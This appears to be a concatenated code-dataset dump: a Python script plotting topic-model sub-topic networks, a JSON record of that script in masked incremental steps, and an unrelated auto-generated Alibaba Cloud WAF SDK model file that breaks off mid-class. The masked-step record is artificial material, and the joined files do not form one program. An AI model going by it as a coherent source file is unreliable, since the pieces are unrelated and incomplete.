as fp: graph_mat,topic_labels,dist_mat,doc_topic_mat = pickle.load(fp) #%% Loop through meta-topics plt.close() #for meta_topic in np.unique(meta_topic_assignments): meta_topic = 0 # Find the sub topics sub_topics, = np.where(meta_topic_assignments == meta_topic) # Get the distance matrix just for those topics sub_dist_mat = dist_mat[sub_topics][:,sub_topics] # Generate the graph matrix by selecting an appropriate threshold graph_mat = sub_dist_mat < 0.95 if not np.any(graph_mat): min_val = np.min(sub_dist_mat) graph_mat = sub_dist_mat <= min_val # Find the docs belonging to that subtopic #docs = np.in1d(topic_assignments,sub_topics) # Get subtopic labels sub_topic_labels = {sub_topic:topic_labels[sub_topic] for sub_topic in sub_topics if sub_topic in topic_labels} new_sub_topic_labels = {} # # Rename the keys for counter, value in enumerate(sub_topic_labels.keys()): new_sub_topic_labels[counter] = sub_topic_labels[value] # Plot the graph plt.figure() G = nx.from_numpy_matrix(graph_mat) #pos = nx.graphviz_layout(G) #pos = nx.nx_agraph.graphviz_layout(G) #pos=nx.spring_layout(G) pos = nx.layout.circular_layout(G) nx.relabel_nodes(G,sub_topic_labels) nx.draw(G,pos) nx.draw_networkx_labels(G,pos,new_sub_topic_labels,font_size=16) node_labels = list(sub_topic_labels.values()) #%% Calculate text positions text_pos = [] for key, value in pos.items(): if value[0] < 0: pos_part2 = ' left' else: pos_part2 = ' right' if value[1] < 0: pos_part1 = 'bottom' else: pos_part1 = 'top' text_pos.append(pos_part1 + pos_part2) #%% Plot in plot url = plot(G,pos,node_labels,text_pos)
flexible
{ "blob_id": "d98db745be2ab9c506a98539b25e9b46e4997136", "index": 3422, "step-1": "<mask token>\n", "step-2": "<mask token>\nos.chdir(\n 'C:\\\\Users\\\\Alex\\\\Documents\\\\GitHub\\\\insight-articles-project\\\\src\\\\topic modeling\\\\'\n )\n<mask token>\nwith open(filename, 'rb') as fp:\n topic_assignments, meta_topic_assignments = pickle.load(fp)\n<mask token>\nwith open(filename, 'rb') as fp:\n graph_mat, topic_labels, dist_mat, doc_topic_mat = pickle.load(fp)\nplt.close()\n<mask token>\nif not np.any(graph_mat):\n min_val = np.min(sub_dist_mat)\n graph_mat = sub_dist_mat <= min_val\n<mask token>\nfor counter, value in enumerate(sub_topic_labels.keys()):\n new_sub_topic_labels[counter] = sub_topic_labels[value]\nplt.figure()\n<mask token>\nnx.relabel_nodes(G, sub_topic_labels)\nnx.draw(G, pos)\nnx.draw_networkx_labels(G, pos, new_sub_topic_labels, font_size=16)\n<mask token>\nfor key, value in pos.items():\n if value[0] < 0:\n pos_part2 = ' left'\n else:\n pos_part2 = ' right'\n if value[1] < 0:\n pos_part1 = 'bottom'\n else:\n pos_part1 = 'top'\n text_pos.append(pos_part1 + pos_part2)\n<mask token>\n", "step-3": "<mask token>\nos.chdir(\n 'C:\\\\Users\\\\Alex\\\\Documents\\\\GitHub\\\\insight-articles-project\\\\src\\\\topic modeling\\\\'\n )\n<mask token>\nprocessed_data_folder = (\n 'C:\\\\Users\\\\Alex\\\\Documents\\\\GitHub\\\\insight-articles-project\\\\data\\\\processed\\\\'\n )\nfilename = processed_data_folder + 'topic_assignments'\nwith open(filename, 'rb') as fp:\n topic_assignments, meta_topic_assignments = pickle.load(fp)\nfilename = processed_data_folder + 'graph_and_labels'\nwith open(filename, 'rb') as fp:\n graph_mat, topic_labels, dist_mat, doc_topic_mat = pickle.load(fp)\nplt.close()\nmeta_topic = 0\nsub_topics, = np.where(meta_topic_assignments == meta_topic)\nsub_dist_mat = dist_mat[sub_topics][:, sub_topics]\ngraph_mat = sub_dist_mat < 0.95\nif not np.any(graph_mat):\n min_val = np.min(sub_dist_mat)\n graph_mat = sub_dist_mat <= min_val\nsub_topic_labels = {sub_topic: topic_labels[sub_topic] for sub_topic in\n sub_topics if sub_topic in topic_labels}\nnew_sub_topic_labels = {}\nfor counter, value in enumerate(sub_topic_labels.keys()):\n new_sub_topic_labels[counter] = sub_topic_labels[value]\nplt.figure()\nG = nx.from_numpy_matrix(graph_mat)\npos = nx.layout.circular_layout(G)\nnx.relabel_nodes(G, sub_topic_labels)\nnx.draw(G, pos)\nnx.draw_networkx_labels(G, pos, new_sub_topic_labels, font_size=16)\nnode_labels = list(sub_topic_labels.values())\ntext_pos = []\nfor key, value in pos.items():\n if value[0] < 0:\n pos_part2 = ' left'\n else:\n pos_part2 = ' right'\n if value[1] < 0:\n pos_part1 = 'bottom'\n else:\n pos_part1 = 'top'\n text_pos.append(pos_part1 + pos_part2)\nurl = plot(G, pos, node_labels, text_pos)\n", "step-4": "<mask token>\nimport pickle\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport os\nos.chdir(\n 'C:\\\\Users\\\\Alex\\\\Documents\\\\GitHub\\\\insight-articles-project\\\\src\\\\topic modeling\\\\'\n )\nfrom plotly_network import plot\nprocessed_data_folder = (\n 'C:\\\\Users\\\\Alex\\\\Documents\\\\GitHub\\\\insight-articles-project\\\\data\\\\processed\\\\'\n )\nfilename = processed_data_folder + 'topic_assignments'\nwith open(filename, 'rb') as fp:\n topic_assignments, meta_topic_assignments = pickle.load(fp)\nfilename = processed_data_folder + 'graph_and_labels'\nwith open(filename, 'rb') as fp:\n graph_mat, topic_labels, dist_mat, doc_topic_mat = pickle.load(fp)\nplt.close()\nmeta_topic = 0\nsub_topics, = np.where(meta_topic_assignments == meta_topic)\nsub_dist_mat = dist_mat[sub_topics][:, sub_topics]\ngraph_mat = sub_dist_mat < 0.95\nif not np.any(graph_mat):\n min_val = np.min(sub_dist_mat)\n graph_mat = sub_dist_mat <= min_val\nsub_topic_labels = {sub_topic: topic_labels[sub_topic] for sub_topic in\n sub_topics if sub_topic in topic_labels}\nnew_sub_topic_labels = {}\nfor counter, value in enumerate(sub_topic_labels.keys()):\n new_sub_topic_labels[counter] = sub_topic_labels[value]\nplt.figure()\nG = nx.from_numpy_matrix(graph_mat)\npos = nx.layout.circular_layout(G)\nnx.relabel_nodes(G, sub_topic_labels)\nnx.draw(G, pos)\nnx.draw_networkx_labels(G, pos, new_sub_topic_labels, font_size=16)\nnode_labels = list(sub_topic_labels.values())\ntext_pos = []\nfor key, value in pos.items():\n if value[0] < 0:\n pos_part2 = ' left'\n else:\n pos_part2 = ' right'\n if value[1] < 0:\n pos_part1 = 'bottom'\n else:\n pos_part1 = 'top'\n text_pos.append(pos_part1 + pos_part2)\nurl = plot(G, pos, node_labels, text_pos)\n", "step-5": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 28 16:36:56 2018\n\n@author: Alex\n\"\"\"\n\n#%% Import packages \nimport pickle \nimport numpy as np\nimport matplotlib.pyplot as plt\nimport networkx as nx\nimport os \nos.chdir('C:\\\\Users\\\\Alex\\\\Documents\\\\GitHub\\\\insight-articles-project\\\\src\\\\topic modeling\\\\')\nfrom plotly_network import plot\n\n\n#%% Load data\n# Load metatopic allocations \nprocessed_data_folder = 'C:\\\\Users\\\\Alex\\\\Documents\\\\GitHub\\\\insight-articles-project\\\\data\\\\processed\\\\'\nfilename = processed_data_folder + 'topic_assignments'\n\nwith open(filename, 'rb') as fp:\n topic_assignments, meta_topic_assignments = pickle.load(fp)\n \n# Load distance matrix \nfilename = processed_data_folder + 'graph_and_labels'\n\nwith open(filename, 'rb') as fp:\n graph_mat,topic_labels,dist_mat,doc_topic_mat = pickle.load(fp) \n \n\n#%% Loop through meta-topics \nplt.close()\n#for meta_topic in np.unique(meta_topic_assignments):\nmeta_topic = 0\n# Find the sub topics \nsub_topics, = np.where(meta_topic_assignments == meta_topic)\n\n# Get the distance matrix just for those topics \nsub_dist_mat = dist_mat[sub_topics][:,sub_topics]\n\n# Generate the graph matrix by selecting an appropriate threshold\ngraph_mat = sub_dist_mat < 0.95\nif not np.any(graph_mat):\n min_val = np.min(sub_dist_mat)\n graph_mat = sub_dist_mat <= min_val\n\n# Find the docs belonging to that subtopic \n#docs = np.in1d(topic_assignments,sub_topics)\n\n# Get subtopic labels \nsub_topic_labels = {sub_topic:topic_labels[sub_topic] for sub_topic in sub_topics if sub_topic in topic_labels}\nnew_sub_topic_labels = {}\n\n# \n\n# Rename the keys \nfor counter, value in enumerate(sub_topic_labels.keys()):\n new_sub_topic_labels[counter] = sub_topic_labels[value]\n\n\n# Plot the graph \nplt.figure()\nG = nx.from_numpy_matrix(graph_mat) \n#pos = nx.graphviz_layout(G)\n#pos = nx.nx_agraph.graphviz_layout(G)\n#pos=nx.spring_layout(G)\npos = nx.layout.circular_layout(G)\nnx.relabel_nodes(G,sub_topic_labels)\nnx.draw(G,pos)\nnx.draw_networkx_labels(G,pos,new_sub_topic_labels,font_size=16)\n\nnode_labels = list(sub_topic_labels.values())\n\n#%% Calculate text positions\ntext_pos = []\nfor key, value in pos.items():\n if value[0] < 0:\n pos_part2 = ' left'\n else:\n pos_part2 = ' right'\n if value[1] < 0:\n pos_part1 = 'bottom'\n else:\n pos_part1 = 'top'\n text_pos.append(pos_part1 + pos_part2)\n\n#%% Plot in plot \nurl = plot(G,pos,node_labels,text_pos)\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
# -*- coding: utf-8 -*- # This file is auto-generated, don't edit it. Thanks. from Tea.model import TeaModel class CreateCertificateRequest(TeaModel): def __init__(self, domain=None, certificate=None, private_key=None, certificate_name=None, instance_id=None): self.domain = domain # type: str self.certificate = certificate # type: str self.private_key = private_key # type: str self.certificate_name = certificate_name # type: str self.instance_id = instance_id # type: str def validate(self): pass def to_map(self): _map = super(CreateCertificateRequest, self).to_map() if _map is not None: return _map result = dict() if self.domain is not None: result['Domain'] = self.domain if self.certificate is not None: result['Certificate'] = self.certificate if self.private_key is not None: result['PrivateKey'] = self.private_key if self.certificate_name is not None: result['CertificateName'] = self.certificate_name if self.instance_id is not None: result['InstanceId'] = self.instance_id return result def from_map(self, m=None): m = m or dict() if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('Certificate') is not None: self.certificate = m.get('Certificate') if m.get('PrivateKey') is not None: self.private_key = m.get('PrivateKey') if m.get('CertificateName') is not None: self.certificate_name = m.get('CertificateName') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') return self class CreateCertificateResponseBody(TeaModel): def __init__(self, request_id=None, certificate_id=None): self.request_id = request_id # type: str self.certificate_id = certificate_id # type: long def validate(self): pass def to_map(self): _map = super(CreateCertificateResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id if self.certificate_id is not None: result['CertificateId'] = self.certificate_id return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') if m.get('CertificateId') is not None: self.certificate_id = m.get('CertificateId') return self class CreateCertificateResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: CreateCertificateResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(CreateCertificateResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = CreateCertificateResponseBody() self.body = temp_model.from_map(m['body']) return self class CreateCertificateByCertificateIdRequest(TeaModel): def __init__(self, domain=None, certificate_id=None, instance_id=None): self.domain = domain # type: str self.certificate_id = certificate_id # type: long self.instance_id = instance_id # type: str def validate(self): pass def to_map(self): _map = super(CreateCertificateByCertificateIdRequest, self).to_map() if _map is not None: return _map result = dict() if self.domain is not None: result['Domain'] = self.domain if self.certificate_id is not None: result['CertificateId'] = self.certificate_id if self.instance_id is not None: result['InstanceId'] = self.instance_id return result def from_map(self, m=None): m = m or dict() if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('CertificateId') is not None: self.certificate_id = m.get('CertificateId') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') return self class CreateCertificateByCertificateIdResponseBody(TeaModel): def __init__(self, request_id=None, certificate_id=None): self.request_id = request_id # type: str self.certificate_id = certificate_id # type: long def validate(self): pass def to_map(self): _map = super(CreateCertificateByCertificateIdResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id if self.certificate_id is not None: result['CertificateId'] = self.certificate_id return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') if m.get('CertificateId') is not None: self.certificate_id = m.get('CertificateId') return self class CreateCertificateByCertificateIdResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: CreateCertificateByCertificateIdResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(CreateCertificateByCertificateIdResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = CreateCertificateByCertificateIdResponseBody() self.body = temp_model.from_map(m['body']) return self class CreateDomainRequest(TeaModel): def __init__(self, instance_id=None, domain=None, source_ips=None, is_access_product=None, access_header_mode=None, access_headers=None, load_balancing=None, log_headers=None, http_port=None, https_port=None, http_2port=None, http_to_user_ip=None, https_redirect=None, cluster_type=None, resource_group_id=None, connection_time=None, read_time=None, write_time=None, access_type=None, cloud_native_instances=None, ip_follow_status=None): self.instance_id = instance_id # type: str self.domain = domain # type: str self.source_ips = source_ips # type: str self.is_access_product = is_access_product # type: int self.access_header_mode = access_header_mode # type: int self.access_headers = access_headers # type: str self.load_balancing = load_balancing # type: int self.log_headers = log_headers # type: str self.http_port = http_port # type: str self.https_port = https_port # type: str self.http_2port = http_2port # type: str self.http_to_user_ip = http_to_user_ip # type: int self.https_redirect = https_redirect # type: int self.cluster_type = cluster_type # type: int self.resource_group_id = resource_group_id # type: str self.connection_time = connection_time # type: int self.read_time = read_time # type: int self.write_time = write_time # type: int self.access_type = access_type # type: str self.cloud_native_instances = cloud_native_instances # type: str self.ip_follow_status = ip_follow_status # type: int def validate(self): pass def to_map(self): _map = super(CreateDomainRequest, self).to_map() if _map is not None: return _map result = dict() if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.domain is not None: result['Domain'] = self.domain if self.source_ips is not None: result['SourceIps'] = self.source_ips if self.is_access_product is not None: result['IsAccessProduct'] = self.is_access_product if self.access_header_mode is not None: result['AccessHeaderMode'] = self.access_header_mode if self.access_headers is not None: result['AccessHeaders'] = self.access_headers if self.load_balancing is not None: result['LoadBalancing'] = self.load_balancing if self.log_headers is not None: result['LogHeaders'] = self.log_headers if self.http_port is not None: result['HttpPort'] = self.http_port if self.https_port is not None: result['HttpsPort'] = self.https_port if self.http_2port is not None: result['Http2Port'] = self.http_2port if self.http_to_user_ip is not None: result['HttpToUserIp'] = self.http_to_user_ip if self.https_redirect is not None: result['HttpsRedirect'] = self.https_redirect if self.cluster_type is not None: result['ClusterType'] = self.cluster_type if self.resource_group_id is not None: result['ResourceGroupId'] = self.resource_group_id if self.connection_time is not None: result['ConnectionTime'] = self.connection_time if self.read_time is not None: result['ReadTime'] = self.read_time if self.write_time is not None: result['WriteTime'] = self.write_time if self.access_type is not None: result['AccessType'] = self.access_type if self.cloud_native_instances is not None: result['CloudNativeInstances'] = self.cloud_native_instances if self.ip_follow_status is not None: result['IpFollowStatus'] = self.ip_follow_status return result def from_map(self, m=None): m = m or dict() if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('SourceIps') is not None: self.source_ips = m.get('SourceIps') if m.get('IsAccessProduct') is not None: self.is_access_product = m.get('IsAccessProduct') if m.get('AccessHeaderMode') is not None: self.access_header_mode = m.get('AccessHeaderMode') if m.get('AccessHeaders') is not None: self.access_headers = m.get('AccessHeaders') if m.get('LoadBalancing') is not None: self.load_balancing = m.get('LoadBalancing') if m.get('LogHeaders') is not None: self.log_headers = m.get('LogHeaders') if m.get('HttpPort') is not None: self.http_port = m.get('HttpPort') if m.get('HttpsPort') is not None: self.https_port = m.get('HttpsPort') if m.get('Http2Port') is not None: self.http_2port = m.get('Http2Port') if m.get('HttpToUserIp') is not None: self.http_to_user_ip = m.get('HttpToUserIp') if m.get('HttpsRedirect') is not None: self.https_redirect = m.get('HttpsRedirect') if m.get('ClusterType') is not None: self.cluster_type = m.get('ClusterType') if m.get('ResourceGroupId') is not None: self.resource_group_id = m.get('ResourceGroupId') if m.get('ConnectionTime') is not None: self.connection_time = m.get('ConnectionTime') if m.get('ReadTime') is not None: self.read_time = m.get('ReadTime') if m.get('WriteTime') is not None: self.write_time = m.get('WriteTime') if m.get('AccessType') is not None: self.access_type = m.get('AccessType') if m.get('CloudNativeInstances') is not None: self.cloud_native_instances = m.get('CloudNativeInstances') if m.get('IpFollowStatus') is not None: self.ip_follow_status = m.get('IpFollowStatus') return self class CreateDomainResponseBody(TeaModel): def __init__(self, request_id=None, cname=None): self.request_id = request_id # type: str self.cname = cname # type: str def validate(self): pass def to_map(self): _map = super(CreateDomainResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id if self.cname is not None: result['Cname'] = self.cname return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') if m.get('Cname') is not None: self.cname = m.get('Cname') return self class CreateDomainResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: CreateDomainResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(CreateDomainResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = CreateDomainResponseBody() self.body = temp_model.from_map(m['body']) return self class CreateProtectionModuleRuleRequest(TeaModel): def __init__(self, domain=None, defense_type=None, rule=None, instance_id=None): self.domain = domain # type: str self.defense_type = defense_type # type: str self.rule = rule # type: str self.instance_id = instance_id # type: str def validate(self): pass def to_map(self): _map = super(CreateProtectionModuleRuleRequest, self).to_map() if _map is not None: return _map result = dict() if self.domain is not None: result['Domain'] = self.domain if self.defense_type is not None: result['DefenseType'] = self.defense_type if self.rule is not None: result['Rule'] = self.rule if self.instance_id is not None: result['InstanceId'] = self.instance_id return result def from_map(self, m=None): m = m or dict() if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('DefenseType') is not None: self.defense_type = m.get('DefenseType') if m.get('Rule') is not None: self.rule = m.get('Rule') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') return self class CreateProtectionModuleRuleResponseBody(TeaModel): def __init__(self, request_id=None): self.request_id = request_id # type: str def validate(self): pass def to_map(self): _map = super(CreateProtectionModuleRuleResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') return self class CreateProtectionModuleRuleResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: CreateProtectionModuleRuleResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(CreateProtectionModuleRuleResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = CreateProtectionModuleRuleResponseBody() self.body = temp_model.from_map(m['body']) return self class DeleteDomainRequest(TeaModel): def __init__(self, instance_id=None, domain=None): self.instance_id = instance_id # type: str self.domain = domain # type: str def validate(self): pass def to_map(self): _map = super(DeleteDomainRequest, self).to_map() if _map is not None: return _map result = dict() if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.domain is not None: result['Domain'] = self.domain return result def from_map(self, m=None): m = m or dict() if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('Domain') is not None: self.domain = m.get('Domain') return self class DeleteDomainResponseBody(TeaModel): def __init__(self, request_id=None): self.request_id = request_id # type: str def validate(self): pass def to_map(self): _map = super(DeleteDomainResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') return self class DeleteDomainResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DeleteDomainResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DeleteDomainResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DeleteDomainResponseBody() self.body = temp_model.from_map(m['body']) return self class DeleteInstanceRequest(TeaModel): def __init__(self, instance_id=None, resource_group_id=None): self.instance_id = instance_id # type: str self.resource_group_id = resource_group_id # type: str def validate(self): pass def to_map(self): _map = super(DeleteInstanceRequest, self).to_map() if _map is not None: return _map result = dict() if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.resource_group_id is not None: result['ResourceGroupId'] = self.resource_group_id return result def from_map(self, m=None): m = m or dict() if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('ResourceGroupId') is not None: self.resource_group_id = m.get('ResourceGroupId') return self class DeleteInstanceResponseBody(TeaModel): def __init__(self, request_id=None): self.request_id = request_id # type: str def validate(self): pass def to_map(self): _map = super(DeleteInstanceResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') return self class DeleteInstanceResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DeleteInstanceResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DeleteInstanceResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DeleteInstanceResponseBody() self.body = temp_model.from_map(m['body']) return self class DeleteProtectionModuleRuleRequest(TeaModel): def __init__(self, domain=None, defense_type=None, rule_id=None, instance_id=None): self.domain = domain # type: str self.defense_type = defense_type # type: str self.rule_id = rule_id # type: long self.instance_id = instance_id # type: str def validate(self): pass def to_map(self): _map = super(DeleteProtectionModuleRuleRequest, self).to_map() if _map is not None: return _map result = dict() if self.domain is not None: result['Domain'] = self.domain if self.defense_type is not None: result['DefenseType'] = self.defense_type if self.rule_id is not None: result['RuleId'] = self.rule_id if self.instance_id is not None: result['InstanceId'] = self.instance_id return result def from_map(self, m=None): m = m or dict() if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('DefenseType') is not None: self.defense_type = m.get('DefenseType') if m.get('RuleId') is not None: self.rule_id = m.get('RuleId') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') return self class DeleteProtectionModuleRuleResponseBody(TeaModel): def __init__(self, request_id=None): self.request_id = request_id # type: str def validate(self): pass def to_map(self): _map = super(DeleteProtectionModuleRuleResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') return self class DeleteProtectionModuleRuleResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DeleteProtectionModuleRuleResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DeleteProtectionModuleRuleResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DeleteProtectionModuleRuleResponseBody() self.body = temp_model.from_map(m['body']) return self class DescribeCertificatesRequest(TeaModel): def __init__(self, instance_id=None, domain=None): self.instance_id = instance_id # type: str self.domain = domain # type: str def validate(self): pass def to_map(self): _map = super(DescribeCertificatesRequest, self).to_map() if _map is not None: return _map result = dict() if self.instance_id is not None: result['InstanceId'] = self.instance_id if self.domain is not None: result['Domain'] = self.domain return result def from_map(self, m=None): m = m or dict() if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') if m.get('Domain') is not None: self.domain = m.get('Domain') return self class DescribeCertificatesResponseBodyCertificates(TeaModel): def __init__(self, certificate_name=None, common_name=None, sans=None, is_using=None, certificate_id=None): self.certificate_name = certificate_name # type: str self.common_name = common_name # type: str self.sans = sans # type: list[str] self.is_using = is_using # type: bool self.certificate_id = certificate_id # type: long def validate(self): pass def to_map(self): _map = super(DescribeCertificatesResponseBodyCertificates, self).to_map() if _map is not None: return _map result = dict() if self.certificate_name is not None: result['CertificateName'] = self.certificate_name if self.common_name is not None: result['CommonName'] = self.common_name if self.sans is not None: result['Sans'] = self.sans if self.is_using is not None: result['IsUsing'] = self.is_using if self.certificate_id is not None: result['CertificateId'] = self.certificate_id return result def from_map(self, m=None): m = m or dict() if m.get('CertificateName') is not None: self.certificate_name = m.get('CertificateName') if m.get('CommonName') is not None: self.common_name = m.get('CommonName') if m.get('Sans') is not None: self.sans = m.get('Sans') if m.get('IsUsing') is not None: self.is_using = m.get('IsUsing') if m.get('CertificateId') is not None: self.certificate_id = m.get('CertificateId') return self class DescribeCertificatesResponseBody(TeaModel): def __init__(self, request_id=None, certificates=None): self.request_id = request_id # type: str self.certificates = certificates # type: list[DescribeCertificatesResponseBodyCertificates] def validate(self): if self.certificates: for k in self.certificates: if k: k.validate() def to_map(self): _map = super(DescribeCertificatesResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id result['Certificates'] = [] if self.certificates is not None: for k in self.certificates: result['Certificates'].append(k.to_map() if k else None) return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') self.certificates = [] if m.get('Certificates') is not None: for k in m.get('Certificates'): temp_model = DescribeCertificatesResponseBodyCertificates() self.certificates.append(temp_model.from_map(k)) return self class DescribeCertificatesResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DescribeCertificatesResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DescribeCertificatesResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DescribeCertificatesResponseBody() self.body = temp_model.from_map(m['body']) return self class DescribeCertMatchStatusRequest(TeaModel): def __init__(self, domain=None, certificate=None, private_key=None, instance_id=None): self.domain = domain # type: str self.certificate = certificate # type: str self.private_key = private_key # type: str self.instance_id = instance_id # type: str def validate(self): pass def to_map(self): _map = super(DescribeCertMatchStatusRequest, self).to_map() if _map is not None: return _map result = dict() if self.domain is not None: result['Domain'] = self.domain if self.certificate is not None: result['Certificate'] = self.certificate if self.private_key is not None: result['PrivateKey'] = self.private_key if self.instance_id is not None: result['InstanceId'] = self.instance_id return result def from_map(self, m=None): m = m or dict() if m.get('Domain') is not None: self.domain = m.get('Domain') if m.get('Certificate') is not None: self.certificate = m.get('Certificate') if m.get('PrivateKey') is not None: self.private_key = m.get('PrivateKey') if m.get('InstanceId') is not None: self.instance_id = m.get('InstanceId') return self class DescribeCertMatchStatusResponseBody(TeaModel): def __init__(self, request_id=None, match_status=None): self.request_id = request_id # type: str self.match_status = match_status # type: bool def validate(self): pass def to_map(self): _map = super(DescribeCertMatchStatusResponseBody, self).to_map() if _map is not None: return _map result = dict() if self.request_id is not None: result['RequestId'] = self.request_id if self.match_status is not None: result['MatchStatus'] = self.match_status return result def from_map(self, m=None): m = m or dict() if m.get('RequestId') is not None: self.request_id = m.get('RequestId') if m.get('MatchStatus') is not None: self.match_status = m.get('MatchStatus') return self class DescribeCertMatchStatusResponse(TeaModel): def __init__(self, headers=None, body=None): self.headers = headers # type: dict[str, str] self.body = body # type: DescribeCertMatchStatusResponseBody def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super(DescribeCertMatchStatusResponse, self).to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m=None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = DescribeCertMatchStatusResponseBody() self.body = temp_model.from_map(m['body']) return self class DescribeDomainRequest(TeaModel): def __init__(self, instance_id=None, domain=None): self.instance_id = instance_id # type: str self.domain = domain # type: str def validate(self): pass def to_map(self): _map = super(DescribeDomainRequest, self).to_map() if _map is not None: return _map result = dict() if self.instance_id is not 